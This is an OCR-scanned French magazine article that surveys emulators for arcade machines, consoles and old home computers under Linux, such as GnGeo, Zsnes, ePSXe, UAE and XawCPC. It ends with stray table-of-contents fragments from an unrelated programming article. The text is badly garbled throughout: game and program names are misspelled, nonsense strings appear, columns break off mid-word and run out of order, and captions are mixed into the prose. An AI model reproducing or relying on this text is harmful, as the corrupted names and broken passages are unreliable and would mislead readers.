(" De toutes fagons, ¢’était mieux avant... ").

Strest Fighter EX (ASIA)
Sureat Fighter EX Plus (USA)
Streel Fighter EX Plus (JF)
Stree! Fightes EX 2 WP)
Strest Fighter EX 2 PLUS (P)

Star Glagiater 2 (JP)

Ave« GZine, I'orcade s'offre simplement & vous.

vous recommande chaude-
ment lexcellent site franco-
phone NS o

Continuons sur notre lan-
cée avec GnGeo, un ému-
lateur de NeoGeo, recon-
nue comme étant la meil-
leure plateforme de jeux
de baston 2D qui puisse
exister. Visitez le site fran-
cophone  www.snk-uni-

| verse.com pour de plus

amples informations sur
ce sujet. Il vous faudra
également un front-end
pour pouvoir utiliser

I'émulateur de fagon plus
conviviale. Je vous
recommande GnGeoGui

MNostalgie, quand tu nous
tiens avec Metal Slug, King
Of Fighters, Samurai
Shodown. ..

N'oublions pas nen plus
Zinc, un émulateur au nom
curieux qui pourtant est un
des premiers eémulateurs
darcade 3D. Tekken, Street
Fighter EX... Utllisez i aussi
un front-end, comme Gzinc.

Les consoles
consolent
(d’accord,

je sors)
Commengons par tout |'at-
tirail 8 bits, avec la Master
System de Sega et la Nes de

Rappelons simplement

le prin

e d’un émulateur :

I s'agit d'un programme qui siimule le fonctionnement
d'un autre programme sur votre machine. On peut consi-
dérer ['emulateur comme une console, et il faut donc

ajouter des jeux dedans. Ces jeux sont appeles ROMS.

on petit émuler aussi bien des consales que des
bornes d'arcade ou de vieux grdinateurs, comme Yous
allez pouvoir le constater au fur et & mesure gue vos
yeux fatigués et vitreux parcourront cet article.
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Qu'este qu'il y o ? Tu veux une banane ?

Nintendo. La voie la plus
évidente pour y jouer sous
Linux est d'employer X-
MESS, qui est en fait la
méme chase que MAME
mals pour les vieilles conso-
les et les vieux ordinateurs.
Emulation de qualité et
compatibilté maximale sont
donc au rendez-vous. Yous
pouvez aussi utiliser FCE
Ultra, pour la Nes, et
Mekanix (d'ailleurs vous
pouvez aussi émuler la por-
table de Sega, la GameGear,
connue aussi sous le nom
de "Pileélectricovore”).

Ensuite, pour les machines
16 bits, vaut 3
encore se tourner vers des

mieux

émulateurs spécialisés. Les
deux consoles 16 bits les
plus intéressantes sont bien
sir la Megadrive et la Super
Nintendo. Et & chaque
console son émulateur
chef-d'esuvre : [ai nommé
Gens et Zsnes, tous deux
reposant sur la libraire SDL.
N'oublions pas non plus le
célebre SneEse, qui a le
mérite d'étre construit tout
seul, sans la moindre librai
rie, mais qui est plus gour=

mand que Zsnes. Le grand
avantage de cette program-
mation qui est commune 3
Gens et i Zsnes, c'est la
compatibilité multi-systé-
mes. En effet. pour le jeu en
réseau, Vous pourrez jouer
aussi bien avec des person-
nes utilisant Windows que
Linux ou méme Mac.

Enfin, nous arrivons aux
consoles dites "récentes”,
comme la Nintendo 64 et la
PlayStation. N'espérez
méme pas vous adonner 3
de la Dreamcast, de la PS2
ou de la Xbox, ces machi-
nes ne sont pas prétes
d'étre émulées sur PC !
Encore, au moins, deux
voire trois ans seront
nécessaires avant de voir
quelque chose de nouveau
arriver.

Nous avons donc le meil-
leur émulateur PSX (c’est le
nom de la PlayStation
1, j'ai nommé ePSXe, qui
veut dire "Extended PSX
Emulator™. Il porte vraiment
bien son nom, étant donné
que vous pourrez transfor-
mer littéralement un jeu

PSX via cet émulateur; en
montant la résolution de
fagon extréme, en amélio-
rant  les textures. La
Nintendo 64 n'est pas en
reste avec
Mupené4, qui permet de
faire tourner un grand
nombre de jeux avec tou-
Jjours une amélioration gra-
phique et soncre par rap-
port aux jeux d'origine.

le trés bon

Ah, les vieux

tacots d’antan.
Vous rappelez-vous du
vieux truc gris qui vous a
pour la premiére fois

ini
au monde de la micro infor-
matique et qu'on démarrait
en appuyant sur I'écran
comme un minitel ! Des
disquettes de trois métres
sur deux en caoutchouc
qu'il fallait lancer en tapant
"run disk" et qui faisaient un
bruit  de  crémaillére
fourue ? Enfin, vous souve-
des longues
séances de déchirage ocu-
laire que procuraient ces
&crans i la résolution de
240 sur 160 pixels !

nez-vous

Si oui, bienvenue frére.
Sinon, instruis-toi, newbie.
Car ces joyaux que l'on

connait sous le nom

d'Amstrad CPC, de
Commodore 64, d'Amiga
ou d'Atari, nous allons pou-
voir les faire réapparaitre
dans notre cher systéme
libre.  Evidemment,
machines étant a la base
dédiées au bidouilleurs,
VOUS Ne vous étonnerez pas
que les émulateurs qui s'y
consacrent le soient aussi.

ces

En effer, 90 % du temps,
vous devrez avoir un min
mum de connaissance des
machines émulées. Je ne
parlerai toutefois pas parti-
culierement du DOS de
Microsoft, car ce systéme
est d'un point de vue ludi-

mal

que relativement
émulé. Néanmoins, vous
pouvez toujours tester

DosBox ou bien FreeDOS,
mais les résultats sont
variables : parfois géniaux,
parfois décevants. Mais bon,
c'est toujours passionnant
de prendre conscience de
comment étajent les jeux
vidéos et les machines
d'avant !

Bien sir, I'Atari est ['une
des machines reines, avec
I'Amiga que nous verrons
peu aprés. Les émulateurs
s’y consacrant sont assez
nombreux sous Linux,

Heureusement que vous n'avez pas le son,
fa vous deviendriez vraoiment épileptique



néanmoins  citons
doute I'un des meilleurs :
Stella. C'est 'un des plus
performants car il bénéficie
d'une "vitesse" bien gérée
et il est trés simple d'em-
ploi. En effet. la gestion de |a
vitesse est souvent un pro-
bléme avec I'émulation de
vielles machines ces
machines n'étant  elles-
mémes pas forcément trés
bien congues, le passage &
I'emulation est plus chaoti-
que, et I'émulateur doit
donc modifier le comporte-
ment original de la machine
pour s'adapter au PC sur
lequel il tourne sous peine
de voir un jeu qui pourra
paraitre trés lent, accélérer
subitement, jouer les sons a
n'importe quel endroit, etc.

sans

L'Amiga est également trés
bien servi, grice i l'excel-
UAE, qui ne vous
demandera qu'une petite
rom Kickstart (le systéme
d'exploitation de ['Amiga)
afin de pouvoir lancer vos

lent

jeux favoris.

Ciel ! Que de souvenirs !
de Proust :-)

L'Amstrad CPC, enfin, est
lui aussi parfaitement sup-
porté grice 3 XawCPC, un
émulateur qui fait honneur
i cette machine qui était
complétement opération-
nelle en 25 centémes de
seconde, systeme

Mieux gue la madeleine

d'exploitation  compris.
C’est a mon avis la machine
la plus intéressante pour le
jeu vidéo, étant donné que
le style de I'Amstrad est
reconnaissable entre tous,
et que les jeux développés
sur cette machine sont

SRV (R ALE fmae W0 O 8 !
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vraiment trés typés et n'ont
que trés peu vieilli, en
dehors du cété graphique,
c'est convenu.

Toutes ces vieilles machines
ont depuis quelques années
repris un intérét avec les
hackers nostalgiques et new-
bies, qui ont voulu voir & quoi
ressemblait le PC de grand-
mére. Ces émulateurs sont
parfois rebutants i utiliser,
d'abord parce qu'ils font mal
aux yeux, ensuite parce que
parfois pas évidents 4 faire
fonctionner. Mais en fait iis
constituent un voyage au
centre du bidouillage infor-
matique et de lhistoire de
jeu vidéo que tout lecteur de
ce magazine, qu'il soit hacker
ou gamer, se devrait de
connaitre.

Quelques liens
essentiels !
EmuLinux :
Planetemu :

Snk-Universe :

Shmup :

v



Scalaires
Conditions
 Listes et tableaux
Ecritures de fonction
Hachage * Modules
Buffer Overflow

Programmation Internet
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